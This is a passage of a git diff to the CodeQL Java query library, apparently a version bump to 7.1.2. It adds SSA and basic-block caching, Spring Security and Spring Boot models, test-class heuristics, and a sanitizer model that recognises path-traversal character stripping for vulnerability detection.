+lastReleaseVersion: 7.1.2
diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml
index cbc204c8ed1e..51873f7a4706 100644
--- a/java/ql/lib/qlpack.yml
+++ b/java/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/java-all
-version: 7.1.1
+version: 7.1.2
 groups: java
 dbscheme: config/semmlecode.dbscheme
 extractor: java
diff --git a/java/ql/lib/semmle/code/java/Expr.qll b/java/ql/lib/semmle/code/java/Expr.qll
index cb02791e96cc..e7dd817cecd9 100644
--- a/java/ql/lib/semmle/code/java/Expr.qll
+++ b/java/ql/lib/semmle/code/java/Expr.qll
@@ -180,7 +180,7 @@ class CompileTimeConstantExpr extends Expr {
   /**
    * Gets the string value of this expression, where possible.
    */
-  pragma[nomagic]
+  cached
   string getStringValue() {
     result = this.(StringLiteral).getValue()
     or
@@ -205,7 +205,7 @@ class CompileTimeConstantExpr extends Expr {
   /**
    * Gets the boolean value of this expression, where possible.
    */
-  pragma[nomagic]
+  cached
   boolean getBooleanValue() {
     // Literal value.
     result = this.(BooleanLiteral).getBooleanValue()
diff --git a/java/ql/lib/semmle/code/java/JDK.qll b/java/ql/lib/semmle/code/java/JDK.qll
index e1fbf9317465..27a8b2a9ca73 100644
--- a/java/ql/lib/semmle/code/java/JDK.qll
+++ b/java/ql/lib/semmle/code/java/JDK.qll
@@ -45,6 +45,36 @@ class StringContainsMethod extends Method {
   }
 }
 
+/** A call to the `java.lang.String.matches` method. */
+class StringMatchesCall extends MethodCall {
+  StringMatchesCall() {
+    exists(Method m | m = this.getMethod() |
+      m.getDeclaringType() instanceof TypeString and
+      m.hasName("matches")
+    )
+  }
+}
+
+/** A call to the `java.lang.String.replaceAll` method. */
+class StringReplaceAllCall extends MethodCall {
+  StringReplaceAllCall() {
+    exists(Method m | m = this.getMethod() |
+      m.getDeclaringType() instanceof TypeString and
+      m.hasName("replaceAll")
+    )
+  }
+}
+
+/** A call to the `java.lang.String.replace` method. */
+class StringReplaceCall extends MethodCall {
+  StringReplaceCall() {
+    exists(Method m | m = this.getMethod() |
+      m.getDeclaringType() instanceof TypeString and
+      m.hasName("replace")
+    )
+  }
+}
+
 /**
  * The methods on the class `java.lang.String` that are used to perform partial matches with a specified substring or char.
  */
diff --git a/java/ql/lib/semmle/code/java/UnitTests.qll b/java/ql/lib/semmle/code/java/UnitTests.qll
index 38f37fa4ff01..d0fb6849f422 100644
--- a/java/ql/lib/semmle/code/java/UnitTests.qll
+++ b/java/ql/lib/semmle/code/java/UnitTests.qll
@@ -66,6 +66,19 @@ class TestClass extends Class {
   }
 }
 
+/**
+ * A class that is likely a test class. That is either a definite test class, or
+ * a class whose name, package, or location suggests that it might be a test class.
+ */
+class LikelyTestClass extends Class {
+  LikelyTestClass() {
+    this instanceof TestClass or
+    this.getName().toLowerCase().matches("%test%") or
+    this.getPackage().getName().toLowerCase().matches("%test%") or
+    this.getLocation().getFile().getAbsolutePath().matches("%/src/test/java%")
+  }
+}
+
 /**
  * A test method declared within a JUnit 3.8 test class.
  */
@@ -185,6 +198,37 @@ class TestMethod extends Method {
   }
 }
 
+/**
+ * A method that is likely a test method.
+ */
+class LikelyTestMethod extends Method {
+  LikelyTestMethod() {
+    this.getDeclaringType() instanceof LikelyTestClass
+    or
+    this instanceof TestMethod
+    or
+    this instanceof LikelyJunitTest
+  }
+}
+
+/**
+ * A `Method` that is public, has no parameters,
+ * has a "void" return type, AND either has a name that starts with "test" OR
+ * has an annotation that ends with "Test"
+ */
+class LikelyJunitTest extends Method {
+  LikelyJunitTest() {
+    this.isPublic() and
+    this.getReturnType().hasName("void") and
+    this.hasNoParameters() and
+    (
+      this.getName().matches("JUnit%") or
+      this.getName().matches("test%") or
+      this.getAnAnnotation().getType().getName().matches("%Test")
+    )
+  }
+}
+
 /**
  * A TestNG annotation used to mark a method that runs "before".
  */
diff --git a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll
index 972f97ba3674..c2f9e8a6a697 100644
--- a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll
+++ b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll
@@ -5,6 +5,19 @@
 import java
 import Dominance
 
+cached
+private module BasicBlockStage {
+  cached
+  predicate ref() { any() }
+
+  cached
+  predicate backref() {
+    (exists(any(BasicBlock bb).getABBSuccessor()) implies any()) and
+    (exists(any(BasicBlock bb).getNode(_)) implies any()) and
+    (exists(any(BasicBlock bb).length()) implies any())
+  }
+}
+
 /**
  * A control-flow node that represents the start of a basic block.
  *
@@ -12,8 +25,11 @@ import Dominance
  * often be treated as a unit in analyses.
  */
 class BasicBlock extends ControlFlowNode {
+  cached
   BasicBlock() {
-    not exists(this.getAPredecessor()) and exists(this.getASuccessor())
+    BasicBlockStage::ref() and
+    not exists(this.getAPredecessor()) and
+    exists(this.getASuccessor())
     or
     strictcount(this.getAPredecessor()) > 1
     or
@@ -24,7 +40,10 @@ class BasicBlock extends ControlFlowNode {
 
   /** Gets an immediate successor of this basic block. */
   cached
-  BasicBlock getABBSuccessor() { result = this.getLastNode().getASuccessor() }
+  BasicBlock getABBSuccessor() {
+    BasicBlockStage::ref() and
+    result = this.getLastNode().getASuccessor()
+  }
 
   /** Gets an immediate predecessor of this basic block. */
   BasicBlock getABBPredecessor() { result.getABBSuccessor() = this }
@@ -35,7 +54,9 @@ class BasicBlock extends ControlFlowNode {
   /** Gets the control-flow node at a specific (zero-indexed) position in this basic block. */
   cached
   ControlFlowNode getNode(int pos) {
-    result = this and pos = 0
+    BasicBlockStage::ref() and
+    result = this and
+    pos = 0
     or
     exists(ControlFlowNode mid, int mid_pos | pos = mid_pos + 1 |
       this.getNode(mid_pos) = mid and
@@ -52,7 +73,10 @@ class BasicBlock extends ControlFlowNode {
 
   /** Gets the number of control-flow nodes contained in this basic block. */
   cached
-  int length() { result = strictcount(this.getANode()) }
+  int length() {
+    BasicBlockStage::ref() and
+    result = strictcount(this.getANode())
+  }
 
   /** Holds if this basic block strictly dominates `node`. */
   predicate bbStrictlyDominates(BasicBlock node) { bbStrictlyDominates(this, node) }
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll
index 2c37efea1a46..eeac19e66a74 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll
@@ -14,9 +14,26 @@
 import java
 private import codeql.ssa.Ssa as SsaImplCommon
 
+cached
+private module BaseSsaStage {
+  cached
+  predicate ref() { any() }
+
+  cached
+  predicate backref() {
+    (exists(TLocalVar(_, _)) implies any()) and
+    (exists(any(BaseSsaSourceVariable v).getAnAccess()) implies any()) and
+    (exists(getAUse(_)) implies any())
+  }
+}
+
+cached
 private newtype TBaseSsaSourceVariable =
   TLocalVar(Callable c, LocalScopeVariable v) {
-    c = v.getCallable() or c = v.getAnAccess().getEnclosingCallable()
+    BaseSsaStage::ref() and
+    c = v.getCallable()
+    or
+    c = v.getAnAccess().getEnclosingCallable()
   }
 
 /**
@@ -31,6 +48,7 @@ class BaseSsaSourceVariable extends TBaseSsaSourceVariable {
    */
   cached
   VarAccess getAnAccess() {
+    BaseSsaStage::ref() and
     exists(LocalScopeVariable v, Callable c |
       this = TLocalVar(c, v) and result = v.getAnAccess() and result.getEnclosingCallable() = c
     )
@@ -168,12 +186,15 @@ private module SsaInput implements SsaImplCommon::InputSig<Location> {
    * Holds if the `i`th of basic block `bb` reads source variable `v`.
    */
   predicate variableRead(BasicBlock bb, int i, SourceVariable v, boolean certain) {
-    exists(VarRead use |
-      v.getAnAccess() = use and bb.getNode(i) = use.getControlFlowNode() and certain = true
+    hasDominanceInformation(bb) and
+    (
+      exists(VarRead use |
+        v.getAnAccess() = use and bb.getNode(i) = use.getControlFlowNode() and certain = true
+      )
+      or
+      variableCapture(v, _, bb, i) and
+      certain = false
     )
-    or
-    variableCapture(v, _, bb, i) and
-    certain = false
   }
 }
 
@@ -185,6 +206,7 @@ cached
 private module Cached {
   cached
   VarRead getAUse(Impl::Definition def) {
+    BaseSsaStage::ref() and
     exists(BaseSsaSourceVariable v, BasicBlock bb, int i |
       Impl::ssaDefReachesRead(v, def, bb, i) and
       result.getControlFlowNode() = bb.getNode(i) and
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll
index fd14bcfd100c..7778f6ebc353 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll
@@ -26,6 +26,14 @@ private predicate deadcode(Expr e) {
 module SsaFlow {
   module Impl = SsaImpl::DataFlowIntegration;
 
+  private predicate ssaDefAssigns(SsaExplicitUpdate def, Expr value) {
+    exists(VariableUpdate upd | upd = def.getDefiningExpr() |
+      value = upd.(VariableAssign).getSource() or
+      value = upd.(AssignOp) or
+      value = upd.(RecordBindingVariableExpr)
+    )
+  }
+
   Impl::Node asNode(Node n) {
     n = TSsaNode(result)
     or
@@ -33,17 +41,20 @@ module SsaFlow {
     or
     result.(Impl::ExprPostUpdateNode).getExpr() = n.(PostUpdateNode).getPreUpdateNode().asExpr()
     or
-    TExplicitParameterNode(result.(Impl::ParameterNode).getParameter()) = n
+    exists(Parameter p |
+      n = TExplicitParameterNode(p) and
+      result.(Impl::WriteDefSourceNode).getDefinition().(SsaImplicitInit).isParameterDefinition(p)
+    )
+    or
+    ssaDefAssigns(result.(Impl::WriteDefSourceNode).getDefinition(), n.asExpr())
   }
 
-  predicate localFlowStep(
-    SsaImpl::Impl::DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep
-  ) {
-    Impl::localFlowStep(def, asNode(nodeFrom), asNode(nodeTo), isUseStep)
+  predicate localFlowStep(SsaSourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep) {
+    Impl::localFlowStep(v, asNode(nodeFrom), asNode(nodeTo), isUseStep)
   }
 
-  predicate localMustFlowStep(SsaImpl::Impl::DefinitionExt def, Node nodeFrom, Node nodeTo) {
-    Impl::localMustFlowStep(def, asNode(nodeFrom), asNode(nodeTo))
+  predicate localMustFlowStep(Node nodeFrom, Node nodeTo) {
+    Impl::localMustFlowStep(_, asNode(nodeFrom), asNode(nodeTo))
   }
 }
 
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll
index cc03f227151d..e87c92f3d6c5 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll
@@ -168,7 +168,7 @@ predicate localMustFlowStep(Node node1, Node node2) {
       node2.(ImplicitInstanceAccess).getInstanceAccess().(OwnInstanceAccess).getEnclosingCallable()
   )
   or
-  SsaFlow::localMustFlowStep(_, node1, node2)
+  SsaFlow::localMustFlowStep(node1, node2)
   or
   node2.asExpr().(CastingExpr).getExpr() = node1.asExpr()
   or
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll
index d5fdf4ef829a..b5a42a975699 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll
@@ -204,12 +204,15 @@ private module SsaInput implements SsaImplCommon::InputSig<Location> {
    * This includes implicit reads via calls.
    */
   predicate variableRead(BasicBlock bb, int i, SourceVariable v, boolean certain) {
-    exists(VarRead use |
-      v.getAnAccess() = use and bb.getNode(i) = use.getControlFlowNode() and certain = true
+    hasDominanceInformation(bb) and
+    (
+      exists(VarRead use |
+        v.getAnAccess() = use and bb.getNode(i) = use.getControlFlowNode() and certain = true
+      )
+      or
+      variableCapture(v, _, bb, i) and
+      certain = false
     )
-    or
-    variableCapture(v, _, bb, i) and
-    certain = false
   }
 }
 
@@ -544,15 +547,13 @@ private module Cached {
     import DataFlowIntegrationImpl
 
     cached
-    predicate localFlowStep(Impl::DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep) {
-      not def instanceof UntrackedDef and
-      DataFlowIntegrationImpl::localFlowStep(def, nodeFrom, nodeTo, isUseStep)
+    predicate localFlowStep(TrackedVar v, Node nodeFrom, Node nodeTo, boolean isUseStep) {
+      DataFlowIntegrationImpl::localFlowStep(v, nodeFrom, nodeTo, isUseStep)
     }
 
     cached
-    predicate localMustFlowStep(Impl::DefinitionExt def, Node nodeFrom, Node nodeTo) {
-      not def instanceof UntrackedDef and
-      DataFlowIntegrationImpl::localMustFlowStep(def, nodeFrom, nodeTo)
+    predicate localMustFlowStep(TrackedVar v, Node nodeFrom, Node nodeTo) {
+      DataFlowIntegrationImpl::localMustFlowStep(v, nodeFrom, nodeTo)
     }
 
     signature predicate guardChecksSig(Guards::Guard g, Expr e, boolean branch);
@@ -646,22 +647,8 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu
 
   Expr getARead(Definition def) { result = getAUse(def) }
 
-  class Parameter = J::Parameter;
-
-  predicate ssaDefAssigns(Impl::WriteDefinition def, Expr value) {
-    exists(VariableUpdate upd | upd = def.(SsaExplicitUpdate).getDefiningExpr() |
-      value = upd.(VariableAssign).getSource() or
-      value = upd.(AssignOp) or
-      value = upd.(RecordBindingVariableExpr)
-    )
-  }
-
-  predicate ssaDefInitializesParam(Impl::WriteDefinition def, Parameter p) {
-    def.(SsaImplicitInit).getSourceVariable() =
-      any(SsaSourceVariable v |
-        v.getVariable() = p and
-        v.getEnclosingCallable() = p.getCallable()
-      )
+  predicate ssaDefHasSource(WriteDefinition def) {
+    def instanceof SsaExplicitUpdate or def.(SsaImplicitInit).isParameterDefinition(_)
   }
 
   predicate allowFlowIntoUncertainDef(UncertainWriteDefinition def) {
@@ -669,22 +656,27 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu
   }
 
   class Guard extends Guards::Guard {
-    predicate hasCfgNode(BasicBlock bb, int i) {
-      this = bb.getNode(i).asExpr()
-      or
-      this = bb.getNode(i).asStmt()
+    /**
+     * Holds if the control flow branching from `bb1` is dependent on this guard,
+     * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this
+     * guard to `branch`.
+     */
+    predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) {
+      super.hasBranchEdge(bb1, bb2, branch)
     }
   }
 
+  /** Holds if the guard `guard` directly controls block `bb` upon evaluating to `branch`. */
+  predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch) {
+    guard.directlyControls(bb, branch)
+  }
+
   /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */
   predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch) {
     guard.controls(bb, branch)
   }
 
-  /** Gets an immediate conditional successor of basic block `bb`, if any. */
-  BasicBlock getAConditionalBasicBlockSuccessor(BasicBlock bb, boolean branch) {
-    result = bb.(Guards::ConditionBlock).getTestSuccessor(branch)
-  }
+  predicate includeWriteDefsInFlowStep() { none() }
 }
 
 private module DataFlowIntegrationImpl = Impl::DataFlowIntegration<DataFlowIntegrationInput>;
diff --git a/java/ql/lib/semmle/code/java/environment/SystemProperty.qll b/java/ql/lib/semmle/code/java/environment/SystemProperty.qll
index 63ded626c115..bee91d7c6b7f 100644
--- a/java/ql/lib/semmle/code/java/environment/SystemProperty.qll
+++ b/java/ql/lib/semmle/code/java/environment/SystemProperty.qll
@@ -269,18 +269,24 @@ private MethodCall getSystemPropertyFromSpringProperties(string propertyName) {
  * for final variables.
  */
 private predicate localExprFlowPlusInitializers(Expr e1, Expr e2) {
+  e1 = e2 or
   localFlowPlusInitializers(DataFlow::exprNode(e1), DataFlow::exprNode(e2))
 }
 
+private predicate localFlowPlusInitializers(DataFlow::Node pred, DataFlow::Node succ) =
+  fastTC(localFlowStepPlusInitializers/2)(pred, succ)
+
 /**
- * Holds if data can flow from `pred` to `succ` in zero or more
- * local (intra-procedural) steps or via instance or static variable intializers
+ * Holds if data can flow from `pred` to `succ` in a
+ * local (intra-procedural) step or via instance or static variable intializers
  * for final variables.
  */
-private predicate localFlowPlusInitializers(DataFlow::Node pred, DataFlow::Node succ) {
-  exists(Variable v | v.isFinal() and pred.asExpr() = v.getInitializer() |
-    DataFlow::localFlow(DataFlow::exprNode(v.getAnAccess()), succ)
+private predicate localFlowStepPlusInitializers(DataFlow::Node pred, DataFlow::Node succ) {
+  exists(Variable v |
+    v.isFinal() and
+    pred.asExpr() = v.getInitializer() and
+    succ.asExpr() = v.getAnAccess()
   )
   or
-  DataFlow::localFlow(pred, succ)
+  DataFlow::localFlowStep(pred, succ)
 }
diff --git a/java/ql/lib/semmle/code/java/frameworks/spring/SpringBoot.qll b/java/ql/lib/semmle/code/java/frameworks/spring/SpringBoot.qll
new file mode 100644
index 000000000000..d77e4549e4e7
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/frameworks/spring/SpringBoot.qll
@@ -0,0 +1,24 @@
+/**
+ * Provides classes for working with Spring classes and interfaces from
+ * `org.springframework.boot.*`.
+ */
+
+import java
+
+/**
+ * The class `org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest`.
+ */
+class SpringEndpointRequest extends Class {
+  SpringEndpointRequest() {
+    this.hasQualifiedName("org.springframework.boot.actuate.autoconfigure.security.servlet",
+      "EndpointRequest")
+  }
+}
+
+/** A call to `EndpointRequest.toAnyEndpoint` method. */
+class SpringToAnyEndpointCall extends MethodCall {
+  SpringToAnyEndpointCall() {
+    this.getMethod().hasName("toAnyEndpoint") and
+    this.getMethod().getDeclaringType() instanceof SpringEndpointRequest
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/frameworks/spring/SpringSecurity.qll b/java/ql/lib/semmle/code/java/frameworks/spring/SpringSecurity.qll
new file mode 100644
index 000000000000..835b679d50a6
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/frameworks/spring/SpringSecurity.qll
@@ -0,0 +1,124 @@
+/**
+ * Provides classes for working with Spring classes and interfaces from
+ * `org.springframework.security.*`.
+ */
+
+import java
+
+/** The class `org.springframework.security.config.annotation.web.builders.HttpSecurity`. */
+class SpringHttpSecurity extends Class {
+  SpringHttpSecurity() {
+    this.hasQualifiedName("org.springframework.security.config.annotation.web.builders",
+      "HttpSecurity")
+  }
+}
+
+/**
+ * The class
+ * `org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer$AuthorizedUrl`
+ * or the class
+ * `org.springframework.security.config.annotation.web.configurers.AuthorizeHttpRequestsConfigurer$AuthorizedUrl`.
+ */
+class SpringAuthorizedUrl extends Class {
+  SpringAuthorizedUrl() {
+    this.hasQualifiedName("org.springframework.security.config.annotation.web.configurers",
+      [
+        "ExpressionUrlAuthorizationConfigurer<HttpSecurity>$AuthorizedUrl<>",
+        "AuthorizeHttpRequestsConfigurer<HttpSecurity>$AuthorizedUrl<>"
+      ])
+  }
+}
+
+/**
+ * The class `org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry`.
+ */
+class SpringAbstractRequestMatcherRegistry extends Class {
+  SpringAbstractRequestMatcherRegistry() {
+    this.hasQualifiedName("org.springframework.security.config.annotation.web",
+      "AbstractRequestMatcherRegistry<AuthorizedUrl<>>")
+  }
+}
+
+/**
+ * A call to the `HttpSecurity.authorizeRequests` method.
+ *
+ * Note: this method is deprecated and scheduled for removal
+ * in Spring Security 7.0.
+ */
+class SpringAuthorizeRequestsCall extends MethodCall {
+  SpringAuthorizeRequestsCall() {
+    this.getMethod().hasName("authorizeRequests") and
+    this.getMethod().getDeclaringType() instanceof SpringHttpSecurity
+  }
+}
+
+/**
+ * A call to the `HttpSecurity.authorizeHttpRequests` method.
+ *
+ * Note: the no-argument version of this method is deprecated
+ * and scheduled for removal in Spring Security 7.0.
+ */
+class SpringAuthorizeHttpRequestsCall extends MethodCall {
+  SpringAuthorizeHttpRequestsCall() {
+    this.getMethod().hasName("authorizeHttpRequests") and
+    this.getMethod().getDeclaringType() instanceof SpringHttpSecurity
+  }
+}
+
+/**
+ * A call to the `HttpSecurity.requestMatcher` method.
+ *
+ * Note: this method was removed in Spring Security 6.0.
+ * It was replaced by `securityMatcher`.
+ */
+class SpringRequestMatcherCall extends MethodCall {
+  SpringRequestMatcherCall() {
+    this.getMethod().hasName("requestMatcher") and
+    this.getMethod().getDeclaringType() instanceof SpringHttpSecurity
+  }
+}
+
+/**
+ * A call to the `HttpSecurity.requestMatchers` method.
+ *
+ * Note: this method was removed in Spring Security 6.0.
+ * It was replaced by `securityMatchers`.
+ */
+class SpringRequestMatchersCall extends MethodCall {
+  SpringRequestMatchersCall() {
+    this.getMethod().hasName("requestMatchers") and
+    this.getMethod().getDeclaringType() instanceof SpringHttpSecurity
+  }
+}
+
+/** A call to the `HttpSecurity.securityMatcher` method. */
+class SpringSecurityMatcherCall extends MethodCall {
+  SpringSecurityMatcherCall() {
+    this.getMethod().hasName("securityMatcher") and
+    this.getMethod().getDeclaringType() instanceof SpringHttpSecurity
+  }
+}
+
+/** A call to the `HttpSecurity.securityMatchers` method. */
+class SpringSecurityMatchersCall extends MethodCall {
+  SpringSecurityMatchersCall() {
+    this.getMethod().hasName("securityMatchers") and
+    this.getMethod().getDeclaringType() instanceof SpringHttpSecurity
+  }
+}
+
+/** A call to the `AuthorizedUrl.permitAll` method. */
+class SpringPermitAllCall extends MethodCall {
+  SpringPermitAllCall() {
+    this.getMethod().hasName("permitAll") and
+    this.getMethod().getDeclaringType() instanceof SpringAuthorizedUrl
+  }
+}
+
+/** A call to the `AbstractRequestMatcherRegistry.anyRequest` method. */
+class SpringAnyRequestCall extends MethodCall {
+  SpringAnyRequestCall() {
+    this.getMethod().hasName("anyRequest") and
+    this.getMethod().getDeclaringType() instanceof SpringAbstractRequestMatcherRegistry
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/security/ImproperIntentVerificationQuery.qll b/java/ql/lib/semmle/code/java/security/ImproperIntentVerificationQuery.qll
index 995f10ad3c9a..ff5ebe862178 100644
--- a/java/ql/lib/semmle/code/java/security/ImproperIntentVerificationQuery.qll
+++ b/java/ql/lib/semmle/code/java/security/ImproperIntentVerificationQuery.qll
@@ -51,7 +51,9 @@ private module VerifiedIntentFlow = DataFlow::Global<VerifiedIntentConfig>;
 /** An `onReceive` method that doesn't verify the action of the intent it receives. */
 private class UnverifiedOnReceiveMethod extends OnReceiveMethod {
   UnverifiedOnReceiveMethod() {
-    not VerifiedIntentFlow::flow(DataFlow::parameterNode(this.getIntentParameter()), _)
+    not VerifiedIntentFlow::flow(DataFlow::parameterNode(this.getIntentParameter()), _) and
+    // Empty methods do not need to be verified since they do not perform any actions.
+    this.getBody().getNumStmt() > 0
   }
 }
 
diff --git a/java/ql/lib/semmle/code/java/security/PathSanitizer.qll b/java/ql/lib/semmle/code/java/security/PathSanitizer.qll
index cd173823f2dc..8b08b5a78f2f 100644
--- a/java/ql/lib/semmle/code/java/security/PathSanitizer.qll
+++ b/java/ql/lib/semmle/code/java/security/PathSanitizer.qll
@@ -383,3 +383,178 @@ private class FileConstructorChildArgumentStep extends AdditionalTaintStep {
     )
   }
 }
+
+/** A call to `java.lang.String.replace` or `java.lang.String.replaceAll`. */
+private class StringReplaceOrReplaceAllCall extends MethodCall {
+  StringReplaceOrReplaceAllCall() {
+    this instanceof StringReplaceCall or
+    this instanceof StringReplaceAllCall
+  }
+}
+
+/** Gets a character used for replacement. */
+private string getAReplacementChar() { result = ["", "_", "-"] }
+
+/** Gets a directory character represented as regex. */
+private string getADirRegexChar() { result = ["\\.", "/", "\\\\"] }
+
+/** Gets a directory character represented as a char. */
+private string getADirChar() { result = [".", "/", "\\"] }
+
+/** Holds if `target` is the first argument of `replaceAllCall`. */
+private predicate isReplaceAllTarget(
+  StringReplaceAllCall replaceAllCall, CompileTimeConstantExpr target
+) {
+  target = replaceAllCall.getArgument(0)
+}
+
+/** Holds if `target` is the first argument of `replaceCall`. */
+private predicate isReplaceTarget(StringReplaceCall replaceCall, CompileTimeConstantExpr target) {
+  target = replaceCall.getArgument(0)
+}
+
+/** Holds if a single `replaceAllCall` replaces all directory characters. */
+private predicate replacesDirectoryCharactersWithSingleReplaceAll(
+  StringReplaceAllCall replaceAllCall
+) {
+  exists(CompileTimeConstantExpr target, string targetValue |
+    isReplaceAllTarget(replaceAllCall, target) and
+    target.getStringValue() = targetValue and
+    replaceAllCall.getArgument(1).(CompileTimeConstantExpr).getStringValue() = getAReplacementChar()
+  |
+    not targetValue.matches("%[^%]%") and
+    targetValue.matches("[%.%]") and
+    targetValue.matches("[%/%]") and
+    // Search for "\\\\" (needs extra backslashes to avoid escaping the '%')
+    targetValue.matches("[%\\\\\\\\%]")
+    or
+    targetValue.matches("%|%") and
+    targetValue.matches("%" + ["[.]", "\\."] + "%") and
+    targetValue.matches("%/%") and
+    targetValue.matches("%\\\\\\\\%")
+  )
+}
+
+/**
+ * Holds if there are two chained replacement calls, `rc1` and `rc2`, that replace
+ * '.' and one of '/' or '\'.
+ */
+private predicate replacesDirectoryCharactersWithDoubleReplaceOrReplaceAll(
+  StringReplaceOrReplaceAllCall rc1
+) {
+  exists(
+    CompileTimeConstantExpr target1, string targetValue1, StringReplaceOrReplaceAllCall rc2,
+    CompileTimeConstantExpr target2, string targetValue2
+  |
+    rc1 instanceof StringReplaceAllCall and
+    isReplaceAllTarget(rc1, target1) and
+    isReplaceAllTarget(rc2, target2) and
+    targetValue1 = getADirRegexChar() and
+    targetValue2 = getADirRegexChar()
+    or
+    rc1 instanceof StringReplaceCall and
+    isReplaceTarget(rc1, target1) and
+    isReplaceTarget(rc2, target2) and
+    targetValue1 = getADirChar() and
+    targetValue2 = getADirChar()
+  |
+    rc2.getQualifier() = rc1 and
+    target1.getStringValue() = targetValue1 and
+    target2.getStringValue() = targetValue2 and
+    rc1.getArgument(1).(CompileTimeConstantExpr).getStringValue() = getAReplacementChar() and
+    rc2.getArgument(1).(CompileTimeConstantExpr).getStringValue() = getAReplacementChar() and
+    // make sure the calls replace different characters
+    targetValue2 != targetValue1 and
+    // make sure one of the calls replaces '.'
+    // then the other call must replace one of '/' or '\' if they are not equal
+    (targetValue2.matches("%.%") or targetValue1.matches("%.%"))
+  )
+}
+
+/**
+ * A sanitizer that protects against path injection vulnerabilities by replacing
+ * directory characters ('..', '/', and '\') with safe characters.
+ */
+private class ReplaceDirectoryCharactersSanitizer extends StringReplaceOrReplaceAllCall {
+  ReplaceDirectoryCharactersSanitizer() {
+    replacesDirectoryCharactersWithSingleReplaceAll(this) or
+    replacesDirectoryCharactersWithDoubleReplaceOrReplaceAll(this)
+  }
+}
+
+/** Holds if `target` is the first argument of `matchesCall`. */
+private predicate isMatchesTarget(StringMatchesCall matchesCall, CompileTimeConstantExpr target) {
+  target = matchesCall.getArgument(0)
+}
+
+/**
+ * Holds if `matchesCall` confirms that `checkedExpr` does not contain any directory characters
+ * on the given `branch`.
+ */
+private predicate isMatchesCall(StringMatchesCall matchesCall, Expr checkedExpr, boolean branch) {
+  exists(CompileTimeConstantExpr target, string targetValue |
+    isMatchesTarget(matchesCall, target) and
+    target.getStringValue() = targetValue and
+    checkedExpr = matchesCall.getQualifier()
+  |
+    (
+      // Allow anything except `.`, '/', '\'
+      targetValue.matches(["[%]*", "[%]+", "[%]{%}"]) and
+      (
+        // Note: we do not account for when '.', '/', '\' are inside a character range
+        not targetValue.matches("[%" + [".", "/", "\\\\\\\\"] + "%]%") and
+        not targetValue.matches("%[^%]%")
+        or
+        targetValue.matches("[^%.%]%") and
+        targetValue.matches("[^%/%]%") and
+        targetValue.matches("[^%\\\\\\\\%]%")
+      ) and
+      branch = true
+      or
+      // Disallow `.`, '/', '\'
+      targetValue.matches([".*[%].*", ".+[%].+"]) and
+      targetValue.matches("%[%.%]%") and
+      targetValue.matches("%[%/%]%") and
+      targetValue.matches("%[%\\\\\\\\%]%") and
+      not targetValue.matches("%[^%]%") and
+      branch = false
+    )
+  )
+}
+
+/**
+ * A guard that protects against path traversal by looking for patterns
+ * that exclude directory characters: `..`, '/', and '\'.
+ */
+private class DirectoryCharactersGuard extends PathGuard {
+  Expr checkedExpr;
+  boolean branch;
+
+  DirectoryCharactersGuard() { isMatchesCall(this, checkedExpr, branch) }
+
+  override Expr getCheckedExpr() { result = checkedExpr }
+
+  boolean getBranch() { result = branch }
+}
+
+/**
+ * Holds if `g` is a guard that considers a path safe because it is checked to make
+ * sure it does not contain any directory characters: '..', '/', and '\'.
+ */
+private predicate directoryCharactersGuard(Guard g, Expr e, boolean branch) {
+  branch = g.(DirectoryCharactersGuard).getBranch() and
+  localTaintFlowToPathGuard(e, g)
+}
+
+/**
+ * A sanitizer that protects against path injection vulnerabilities
+ * by ensuring that the path does not contain any directory characters:
+ *  '..', '/', and '\'.
+ */
+private class DirectoryCharactersSanitizer extends PathInjectionSanitizer {
+  DirectoryCharactersSanitizer() {
+    this.asExpr() instanceof ReplaceDirectoryCharactersSanitizer or
+    this = DataFlow::BarrierGuard<directoryCharactersGuard/3>::getABarrierNode() or
+    this = ValidationMethod<directoryCharactersGuard/3>::getAValidatedNode()
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/security/SpringBootActuatorsQuery.qll b/java/ql/lib/semmle/code/java/security/SpringBootActuatorsQuery.qll
new file mode 100644
index 000000000000..68c20adabdd1
--- /dev/null
